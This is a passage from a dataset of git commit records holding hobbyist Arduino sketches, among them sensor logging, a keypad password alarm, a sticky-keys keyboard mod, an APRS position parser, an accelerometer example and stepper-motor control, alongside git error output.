test.txt for write failed\");\n }\n \n myFile.print(tempC, 3); myFile.print(\",\");\n myFile.print(press, 1); myFile.print(\",\");\n \/\/myFile.print(altM, 3); myFile.print(\",\");\n myFile.print(RH, 3); myFile.print(\",\");\n \/\/myFile.print(sharp0,3); myFile.print(\",\");\n \/\/myFile.print(particle_analogsignal,3);myFile.print(\",\");\n \/\/myFile.print(sharp1,3); myFile.print(\",\");\n \/\/ myFile.print(sharp2,3); myFile.print(\",\");\n \/\/myFile.print(sharp3,3); myFile.println(\",\");\n myFile.print(sharp_a,1); myFile.print(\",\");\n myFile.print(String::format( \"%02.2f\", fuel.getVCell())); myFile.print(\",\");\n myFile.print(busvoltage,2); myFile.print(\",\");\n myFile.print(shuntvoltage,2); myFile.print(\",\");\n myFile.print(loadvoltage,2); myFile.print(\",\");\n myFile.print(current_mA,3); myFile.print(\",\");\n \n \n myFile.print(String::format(\"%d-\", Time.year()));\n myFile.print(String::format(\"%d-\", Time.month()));\n myFile.print(String::format(\"%d,\", Time.day()));\n myFile.print(String::format(\"%d:\", Time.hour()));\n myFile.print(String::format(\"%d:\", Time.minute()));\n myFile.println(String::format(\"%d\", Time.second()));\n \/\/ myFile.print(battery_volts,3);myFile.print(\",\");\n \/\/ myFile.println(soc,3);\n myFile.close();\n \n \n}\n\nfloat voltageRaw (){\n digitalWrite(D6, 0);\n delayMicroseconds(280);\n sharp_reading = analogRead(0);\n delayMicroseconds(40);\n digitalWrite(D6, 1);\n \n \/\/delay(12);\n return (sharp_reading);\n}\n\nfloat read_sharp_averaged(){\n reading_index++;\n if(reading_index >= nAverage){\n reading_index = 0;\n }\n sharp_readings[reading_index] = sharp_reading;\n \/\/Serial.print(String::format(\"Index:%d Value:%f,\", reading_index, sharp_readings[reading_index]));\n float sum = 0;\n for(int i = 0; i < nAverage; i++){\n sum = sum + sharp_readings[i];\n }\n return sum\/(nAverage);\n}\n\n\n\n\n\nvoid loop() {\n const unsigned long interval_1 = 5000; \/\/ interval at which to collect data (milliseconds)\n const unsigned long interval_2 = 60000; \/\/ interval at which to publish data (milliseconds)\n \n \n if(millis() - previousMillis >= interval_1) {\n previousMillis = millis(); \n log_data();\n \n float raw=voltageRaw();\n \/\/Average();\n tempC = mySensor.readTempC();\n \n float sharp_a = read_sharp_averaged();\n \/\/Serial.print(String::format(\"%f, %f,\", tempC, sharp_a));\n \/\/Serial.print(Time.timeStr());\n \/\/Serial.print(String::format(\"%d-\", Time.year()));\n \/\/Serial.print(String::format(\"%d-\", Time.month()));\n \/\/Serial.print(String::format(\"%d,\", Time.day()));\n \/\/Serial.print(String::format(\"%d:\", Time.hour()));\n \/\/Serial.print(String::format(\"%d:\", Time.minute()));\n \/\/Serial.println(String::format(\"%d\", Time.second()));\n \n FuelGauge fuel;\n \/\/Serial.print(String::format( \"%02.2f %03.2f\", fuel.getVCell(), fuel.getSoC()));\n \n float shuntvoltage = 0;\n float busvoltage = 0;\n float current_mA = 0;\n float loadvoltage = 0;\n \n batter_voltage = fuel.getVCell();\n \n shuntvoltage = ina219.getShuntVoltage_mV();\n busvoltage = ina219.getBusVoltage_V();\n current_mA = ina219.getCurrent_mA();\n loadvoltage = busvoltage + (shuntvoltage \/ 1000);\n \n Serial.print(\"Bus Voltage: \"); Serial.print(busvoltage); Serial.println(\" V\");\n Serial.print(\"Shunt Voltage: \"); Serial.print(shuntvoltage); Serial.println(\" mV\");\n Serial.print(\"Load Voltage: \"); Serial.print(loadvoltage); Serial.println(\" V\");\n Serial.println(\"Current: \"); Serial.print(current_mA); Serial.println(\" mA\");\n }\n \n \n push_new_data(); \/\/Loop this continuesly and it will publish the data as needed (Don't comment out if you want to publish anything)\n delay(10); \/\/Optional delay\n \n}\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint print(String command){\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ add bit that reads command and converts it into print_controle here\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/if(command == \"GPS\"){ \/\/print the GPS location\n char GPS_temp[32];\n int GPS_lon1 = (GPS_lon - (int)GPS_lon) * 10000;\n int GPS_lat1 = (GPS_lat - (int)GPS_lat) * 10000;\n sprintf(GPS_temp,\"%0d.%d,%0d.%d\", (int)GPS_lon, GPS_lon1, (int)GPS_lat, GPS_lat1);\n \/\/google docs will get this variable - if you are storing the value in a google sheet\n sprintf(GPS_str, \"{\\\"t\\\":%s}\", GPS_temp);\n \/\/}\n \/\/if(command == \"temp\"){ \/\/print the temerature\n char temp_temp[32];\n int temp_reading1 = (tempC - (int)tempC) * 100;\n sprintf(temp_temp,\"%0d.%d\", (int)tempC, temp_reading1);\n \/\/google docs will get this variable - if you are storing the value in a google sheet\n sprintf(temp_str, \"{\\\"t\\\":%s}\", temp_temp);\n \/\/}\n push_new_data();\n}\n\nint push_new_data(){\n switch(print_controle | 0x0003){ \/\/This may not be working corectly??? IDK\n case 2: \/\/print every two minutes\n if(micros() > sharp_timer_publish + 120000){\n publish_sharp();\n }\n break;\n case 3: \/\/print every minute\n if(micros() > sharp_timer_publish + 60000){\n publish_sharp();\n }\n break;\n default:\n if(micros() > sharp_timer_publish + 300000){\n publish_sharp();\n }\n break;\n }\n if(micros() > five_minute_publish + 300000){\n five_minute_publish = micros();\n \/\/anything needing publishing every five minutes can go here\n print(\"command\"); \/\/ Temporary update GPS and temp every five minutes\n }\n \n}\n\nvoid publish_sharp(){ \/\/Publish sharp and battery state\n sharp_timer_publish = micros();\n \n char sharp_temp[32];\n int sharp_reading1 = (sharp_reading - (int)sharp_reading) * 100;\n sprintf(sharp_temp,\"%0d.%d\", (int)sharp_reading, sharp_reading1);\n \n char battery_temp[32];\n int battery_reading1 = (batter_voltage - (int)batter_voltage) * 100;\n sprintf(battery_temp,\"%0d.%0\", (int)batter_voltage, battery_reading1);\n \n \/\/google docs will get this variable - if you are storing the value in a google sheet\n sprintf(sharp_str, \"{\\\"t\\\":%s,%s}\", sharp_temp, battery_temp);\n \n if (Particle.connected() == false) {\n Particle.connect();\n }\n Particle.process();\n \n}\n\n\nint Pump(String command){ \/\/turn the pumps on and off\n if(command == \"ON\"){\n digitalWrite(D4, HIGH);\n digitalWrite(D7, HIGH); \/\/Debug only\n }else{\n digitalWrite(D7, HIGH); \/\/Debug only \n delay(1000);\n digitalWrite(D4, LOW);\n digitalWrite(D7, LOW); \/\/Debug only\n }\n \n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/OAS_0-2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"10809fbe5cdd33144acfda337114383761aaa38b","subject":"Keypad password with LEDs and alarm","message":"Keypad password with LEDs and alarm\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/keypad_password_LEDs_alarm\/keypad_password_LEDs_alarm.ino","new_file":"src\/keypad_password_LEDs_alarm\/keypad_password_LEDs_alarm.ino","new_contents":"#include <OnewireKeypad.h>\n#include <Password.h>\n#include \"pitches.h\"\n\n\/\/ notes for alarm\nint alarm[] = {\n NOTE_F5,\n NOTE_E5\n};\n\n\/\/ duration of each alarm beep, in ms\nconst int duration = 500;\n\nchar KEYS[]= { \/\/ Define keys values of Keypad\n '1','2','3','4',\n '5','6','7','8',\n '9','A','B','C',\n 'D','E','#','*'\n};\n\nconst int successLedPin = 7;\nconst int failLedPin = 8;\nconst int alarmPin = 4;\n\nint numTries = 0;\nconst int NOTES_IN_ALARM = 2;\n\nOnewireKeypad <Print, 16> KP(Serial, KEYS, 4, 4, A0, 5000, 1000 );\nPassword password = Password( \"1234\" );\n\nvoid setup ()\n{\n Serial.begin(9600);\n\n KP.SetHoldTime(1000);\n KP.ShowRange();\n\n pinMode(successLedPin, OUTPUT);\n pinMode(failLedPin, OUTPUT);\n pinMode(alarmPin, OUTPUT);\n}\n\nvoid turnLedsOff()\n{\n digitalWrite(successLedPin, LOW);\n digitalWrite(failLedPin, LOW);\n}\n\nvoid loop()\n{\n char Key;\n byte KState = KP.Key_State();\n\n if (KState == PRESSED)\n {\n if ( Key = KP.Getkey() )\n {\n Serial << \"Pressed: \" << Key << \"\\n\";\n switch (Key)\n {\n case '*': \n checkPassword(); \n password.reset();\n break;\n case '#': \n password.reset(); \n turnLedsOff();\n break;\n default: \n password.append(Key);\n }\n }\n }\n else if (KState == HELD)\n {\n Serial << \"Key:\" << KP.Getkey() << \" being held\\n\";\n }\n}\n\nvoid checkPassword()\n{\n turnLedsOff();\n delay(50);\n \n if (password.evaluate())\n {\n Serial.println(\"Success\");\n \/\/Add code to run if it works\n digitalWrite(successLedPin, HIGH);\n numTries = 0;\n \n }\n else\n {\n Serial.println(\"Wrong\");\n \/\/add code to run if it did not work\n digitalWrite(failLedPin, HIGH);\n numTries++;\n if (numTries > 2) {\n \/\/ sound the alarm!\n int note = 0;\n while(true)\n {\n tone(alarmPin, alarm[note], duration);\n note = (note + 1) % NOTES_IN_ALARM;\n delay(duration);\n if (KP.Key_State() == PRESSED && KP.Getkey() == '#')\n {\n turnLedsOff();\n numTries = 0;\n digitalWrite(alarmPin, LOW); \/\/ turn alarm off\n break;\n }\n }\n }\n }\n\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/keypad_password_LEDs_alarm\/keypad_password_LEDs_alarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a71fcbb51932ee264f85f0cfd3692952c15d0a1","subject":"Dzia\u0142a konfiguracja przez www. I \u015ble temperature do mqtt","message":"Dzia\u0142a konfiguracja przez www. I \u015ble temperature do mqtt\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"46dd55b4eea202abb4eb652a42dfdc8bdfedbee1","subject":"Updated picadillo unit test sketch","message":"Updated picadillo unit test sketch\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"0cf3ae07e1bec842ff3d696ae7cbaf0c2270c72e","subject":"add: sticky key mod progress","message":"add: sticky key mod progress\n","repos":"blahlicus\/animus-family,blahlicus\/animus-family,blahlicus\/animus-family","old_file":"mods\/stickyKeys\/mod_stickyKeys.ino","new_file":"mods\/stickyKeys\/mod_stickyKeys.ino","new_contents":"\/\/ completed 5\/28\/2016 blahlicus\n\/\/ example serial command: uniqueksetdualroles(0(129(0(97(0\n\n\/*\nDo not remove this comment, this comment is used by animus builder for the\nbuild process\nBUILDER_REQUIREMENT_START\nEEPROM(801,841)\nBUILDER_REQUIREMENT_END\nRemeber to change the mod_modname to your mod name\n*\/\n\n\n#define mod_modname stickyKeys\n\n#define modMethod(str) conca(mod_modname, str)\n\nconst int modMethod(MinAddr) = 842;\nconst int modMethod(MaxAddr) = 862;\nconst byte modMethod(MAX) = 10;\nconst byte modMethod(SLOT_SIZE) = 2;\nconst byte modMethod(SLOT_KEYS) = 1;\n\nboolean modMethod(State)[10] = {false, false, false, false, false, false, false, false, false, false};\n\nboolean modMethod(Lifted)[10] = {false, false, false, false, false, false, false, false, false, false};\n\n\nvoid modMethod(Startup)()\n{\n \/\/ things to run during hardware startup\n}\n\nvoid modMethod(Loop)()\n{\n \/\/ full speed master loop\n\n\n \/\/ things inside this if statement is ran every RefreshDelay milliseconds\n if (CheckMillis())\n {\n for (int i = 0; i < modMethod(MAX); i++)\n {\n if (modMethod(Lifted)[i])\n {\n modMethod(CheckLift)(i);\n }\n }\n }\n}\n\nvoid modMethod(KeyDown)(char val, byte type)\n{\n \/\/ ran when a key is pressed down\n\n\n \/\/ ran if this device's IS_MASTER flag is true\n if (IS_MASTER)\n {\n for (int i = 0; i < modMethod(MAX); i++)\n {\n if (type !=9)\n {\n modMethod(State)[i] = true;\n }\n }\n if (type == 9)\n {\n modMethod(HoldKey)(val);\n }\n }\n}\n\nvoid modMethod(KeyUp)(char val, byte type)\n{\n \/\/ ran when a key is pressed up\n\n\n \/\/ ran if this device's IS_MASTER flag is true\n if (IS_MASTER)\n {\n if (type == 9)\n {\n modMethod(LiftKey)(val);\n }\n }\n}\n\nvoid modMethod(Serial)(String input)\n{\n \/\/ ran when serial command of input is sent to device from host\n\n \/\/ do not delete this as this is for the identifier\n if (input.startsWith(\"uniquekgetmods\"))\n {\n Serial.print(tokenToString(mod_modname));\n }\n else if (input.startsWith(\"uniqueksetstickykeys\"))\n {\n\n input = input.substring(input.indexOf('(')+1);\n byte id = input.substring(0, input.indexOf('(')).toInt();\n input = input.substring(input.indexOf('(')+1);\n byte key1val = input.substring(0, input.indexOf('(')).toInt();\n input = input.substring(input.indexOf('(')+1);\n byte key1type = input.substring(0, input.indexOf('(')).toInt();\n input = input.substring(input.indexOf('(')+1);\n\n modMethod(SetKeyVal)(id, 0, key1val);\n modMethod(SetKeyType)(id, 0, key1type);\n Serial.print(\"set sticky-keys(\");\n Serial.println(id);\n }\n\n}\n\nvoid modMethod(HoldKey)(int id)\n{\n if (id < modMethod(MAX))\n {\n PressKey( modMethod(GetKeyVal)(id, 0), modMethod(GetKeyType)(id, 0) );\n modMethod(State)[id] = false;\n modMethod(Lifted)[id] = false;\n }\n}\nvoid modMethod(LiftKey)(int id)\n{\n if (id < modMethod(MAX))\n {\n modMethod(Lifted)[id] = true;\n }\n}\n\nvoid modMethod(CheckLift)(int id)\n{\n if (id < modMethod(MAX))\n {\n if (modMethod(State)[id] == true)\n {\n ReleaseKey( modMethod(GetKeyVal)(id, 0), modMethod(GetKeyType)(id, 0) );\n }\n modMethod(Lifted)[id] == false;\n }\n}\n\nbyte modMethod(GetKeyVal)(int id, byte key)\n{\n char output = 0;\n if (id < modMethod(MAX) && key < modMethod(SLOT_KEYS))\n {\n int addr = modMethod(GetStartAddr)(id);\n output = EEPROM.read(addr + key * 2);\n }\n return output;\n}\n\nvoid modMethod(SetKeyVal)(int id, byte key, byte val)\n{\n if (id < modMethod(MAX) && key < modMethod(SLOT_KEYS))\n {\n int addr = modMethod(GetStartAddr)(id);\n EEPROM.update(addr + key * 2, val);\n }\n}\n\nbyte modMethod(GetKeyType)(int id, byte key)\n{\n char output = 0;\n if (id < modMethod(MAX) && key < modMethod(SLOT_KEYS))\n {\n int addr = modMethod(GetStartAddr)(id);\n output = EEPROM.read(addr + key * 2 + 1);\n }\n return output;\n}\n\nvoid modMethod(SetKeyType)(int id, byte key, byte val)\n{\n if (id < modMethod(MAX) && key < modMethod(SLOT_KEYS))\n {\n int addr = modMethod(GetStartAddr)(id);\n EEPROM.update(addr + key * 2 + 1, val);\n }\n}\n\n\nint modMethod(GetStartAddr)(int id)\n{\n int addr = modMethod(MinAddr) + (id * modMethod(SLOT_SIZE));\n return addr;\n}\n\n\n#undef mod_modname\n#undef modMethod\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mods\/stickyKeys\/mod_stickyKeys.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d25c178c64c7b5f9187d91ddfbc0931447e30d03","subject":"Asservissement moteur: int\u00e9gration du calcul de la vitesse au sein de l'arduino et affichage tous les 50 Hz","message":"Asservissement moteur: int\u00e9gration du calcul de la vitesse au sein de l'arduino et affichage tous les 50 Hz\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41525ad8c1bccddd3ee27ef478256dcb8dc0fed7","subject":"pulls out call, lat\/long in decimal form, and altitude from APRS string.","message":"pulls out call, lat\/long in decimal form, and altitude from APRS string.\n","repos":"AdlerFarHorizons\/PortableAntennaRotorControl","old_file":"APRSparse\/APRSparse.ino","new_file":"APRSparse\/APRSparse.ino","new_contents":"\/\/ APRS parse\n\/\/ Prints parsed info to Serial. Callsign, gps lat\/lon in decimal form, and altitude are parsed. - KN\n\n\/\/our input aprs string is here:\nString in = \"WB9SKY-11>APBL10,N9IO*,WIDE2-1:!4106.07N\/08755.13WO317\/025\/A=005243Adler High Altitude Balloon\";\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(in);\n Serial.println(\"=======> Parsed:\");\n}\n\nvoid loop() {\n \/\/GET CALLSIGN======================================\n String callsign = in.substring(0,in.indexOf('-'));\n Serial.print(\"Callsign: \\t\\t\");\n Serial.println(callsign);\n \/\/END CALLSIGN======================================\n\n \/\/GET LATITUDE======================================\n String latDM = in.substring(in.indexOf(':') + 2, \n in.substring(in.indexOf(':') + 2).indexOf('\/') + (in.indexOf(':') + 2));\n Serial.print(\"latitude DDMM.MM: \\t\");\n Serial.println(latDM);\n \n \/\/convert latitude to degree decimal format\n String dir = latDM.substring(latDM.length()-1,latDM.length());\n float latDEG;\n if(dir == \"S\"){\n latDEG = -1 * (latDM.substring(0,2).toInt() + \n (latDM.substring(2,latDM.length()-1).toFloat()) \/ 60)\n ;\n }else{\n latDEG = latDM.substring(0,2).toInt() + \n (latDM.substring(2,latDM.length()-1).toFloat()) \/ 60\n ;\n }\n Serial.print(\"latitude decimal: \\t\");\n Serial.println(latDEG);\n \/\/END LATIUDE\n\n \/\/GET LOGITUDE================================\n String lonDM = in.substring(in.substring(in.indexOf(':') + 2).indexOf('\/') + (in.indexOf(':') + 2) + 1,\n in.substring(in.indexOf(':') + 2).indexOf('\/') + (in.indexOf(':') + 2) + 10)\n ;\n Serial.print(\"longitude DDMM.MM: \\t\");\n Serial.println(lonDM);\n\n \/\/convert lonDM to decimal\n String dir2 = lonDM.substring(lonDM.length()-1,lonDM.length());\n float lonDEG;\n if(dir2 == \"W\"){\n lonDEG = -1 * (lonDM.substring(0,3).toInt() + \n (lonDM.substring(3,lonDM.length()-1).toFloat()) \/ 60)\n ;\n }else{\n lonDEG = lonDM.substring(0,3).toInt() + \n (lonDM.substring(3,lonDM.length()-1).toFloat()) \/ 60\n ;\n }\n Serial.print(\"longitude decimal: \\t\");\n Serial.println(lonDEG);\n \/\/END LONGITUDE\n\n \/\/GET ALTITUDE================================\n String altString = in.substring(in.indexOf(\"A=\")+2);\n int alt = 0;\n for(int i=0;i<altString.length();i++){\n if(altString[i]>=48 && altString[i]<=57){\n alt = altString.substring(0,i+1).toInt();\n }\n }\n Serial.print(\"Altitude + extra info:\\t\");\n Serial.println(altString);\n Serial.print(\"Altitude: \\t\\t\");\n Serial.println(alt);\n \/\/END ALTITUDE================================\n \n \/\/NOTES===================================================\n delay(1000000);\n \/\/ E\/N + \n \/\/ S\/W -\n \/\/lat is N\/S\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'APRSparse\/APRSparse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf056f4fa8372da67d4efc71243e662c827c3994","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/03.Analog\/Fading\/Fading.ino","new_file":"build\/shared\/examples\/03.Analog\/Fading\/Fading.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref cf056f4fa8372da67d4efc71243e662c827c3994\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e8a13f7c205de09fa50e90946e9634ef0d6e1562","subject":"Add accelerometer only example","message":"Add accelerometer only example\n","repos":"eriknyquist\/corelibs-arduino101,facchinm\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,SidLeung\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,facchinm\/corelibs-arduino101,sgbihu\/corelibs-arduino101,sgbihu\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,linrjing\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,01org\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,linrjing\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,eriknyquist\/corelibs-arduino101,SidLeung\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,01org\/corelibs-arduino101,01org\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,sgbihu\/corelibs-arduino101","old_file":"libraries\/CurieImu\/examples\/Accelerometer\/Accelerometer.ino","new_file":"libraries\/CurieImu\/examples\/Accelerometer\/Accelerometer.ino","new_contents":"\/*\n ===============================================\n Example sketch for CurieIMU library for Intel(R) Curie(TM) devices.\n Copyright (c) 2015 Intel Corporation. All rights reserved.\n\n Based on I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050\n class by Jeff Rowberg: https:\/\/github.com\/jrowberg\/i2cdevlib\n\n ===============================================\n I2Cdev device library code is placed under the MIT license\n Copyright (c) 2011 Jeff Rowberg\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n ===============================================\n*\/\n\n#include \"CurieImu.h\"\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize Serial communication\n while (!Serial); \/\/ wait for the serial port to open\n\n \/\/ initialize device\n Serial.println(\"Initializing IMU device...\");\n CurieIMU.begin();\n\n \/\/ Set the accelerometer range to 2G\n CurieIMU.setAccelerometerRange(CURIE_IMU_ACCELEROMETER_RANGE_2G);\n\n Serial.println(\"About to calibrate accelerometer. Make sure your board is stable and upright\");\n delay(5000);\n\n \/\/ start accelerometer\n Serial.print(\"Starting accelerometer calibration...\");\n CurieIMU.autoCalibrateAccelerometerOffset(X_AXIS, 0);\n CurieIMU.autoCalibrateAccelerometerOffset(Y_AXIS, 0);\n CurieIMU.autoCalibrateAccelerometerOffset(Z_AXIS, 1);\n Serial.println(\" Done\");\n\n Serial.println(\"Enabling accelerometer offset compensation\");\n CurieIMU.enableAccelerometerOffset(true);\n}\n\nvoid loop() {\n short int axRaw, ayRaw, azRaw; \/\/ raw accelerometer values\n float ax, ay, az;\n\n \/\/ read raw accelerometer measurements from device\n CurieIMU.readAccelerometer(axRaw, ayRaw, azRaw);\n\n \/\/ convert the raw accelerometer data to G's\n ax = convertRawAcceleration(axRaw);\n ay = convertRawAcceleration(ayRaw);\n az = convertRawAcceleration(azRaw);\n\n \/\/ display tab-separated accelerometer x\/y\/z values\n Serial.print(\"a:\\t\");\n Serial.print(ax);\n Serial.print(\"\\t\");\n Serial.print(ay);\n Serial.print(\"\\t\");\n Serial.print(az);\n Serial.println();\n\n \/\/ wait 5 seconds\n delay(5000);\n}\n\nfloat convertRawAcceleration(short aRaw) {\n \/\/ since we are using 2G range\n \/\/ -2g maps to a raw value of -32768\n \/\/ +2g maps to a raw value of 32767\n \n float a = (aRaw * 2.0) \/ 32768.0;\n\n return a;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/CurieImu\/examples\/Accelerometer\/Accelerometer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a1b4472641fda9d29fda5d314fff913cac2cde5f","subject":"Update HTTPServer.ino","message":"Update HTTPServer.ino","repos":"wso2-incubator\/iot-server-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-dev\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-dev\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,charithag\/iot-server-appliances,charithag\/iot-server-appliances,charithag\/iot-server-appliances,charithag\/iot-server-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,charithag\/iot-server-appliances,wso2-incubator\/iot-server-appliances,charithag\/iot-server-appliances,sanethd\/device-cloud-appliances,charithag\/iot-server-appliances,sanethd\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-incubator\/iot-server-appliances,wso2-incubator\/iot-server-appliances,wso2-dev\/device-cloud-appliances,wso2-incubator\/device-cloud-appliances,wso2-dev\/device-cloud-appliances","old_file":"EU_Con_Hackathon\/SenseBot\/Step 2\/RobotController\/HTTPServer.ino","new_file":"EU_Con_Hackathon\/SenseBot\/Step 2\/RobotController\/HTTPServer.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'EU_Con_Hackathon\/SenseBot\/Step' did not match any file(s) known to git\nerror: pathspec '2\/RobotController\/HTTPServer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d63148c425f14788e085dd66affd2d0dcace5641","subject":"Added arduino code for one full revolution","message":"Added arduino code for one full revolution\n","repos":"Fablabsitges\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap","old_file":"code\/arduino\/_1rev\/_1rev.ino","new_file":"code\/arduino\/_1rev\/_1rev.ino","new_contents":"#include <AccelStepper.h>\n\nAccelStepper stepper1(1,12,13);\nAccelStepper stepper2(1,10,11);\nAccelStepper stepper3(1,6,7);\nAccelStepper stepper4(1,8,9);\nvoid setup()\n{ \n stepper1.setMaxSpeed(12000);\n stepper1.setAcceleration(12000.0);\n \n stepper2.setMaxSpeed(12000);\n stepper2.setAcceleration(12000.0);\n \n stepper3.setMaxSpeed(4000);\n stepper3.setAcceleration(3000.0);\n\n stepper4.setMaxSpeed(12000);\n stepper4.setAcceleration(12000.0); \n}\nvoid loop()\n{ \n stepper1.runToNewPosition(19200);\n 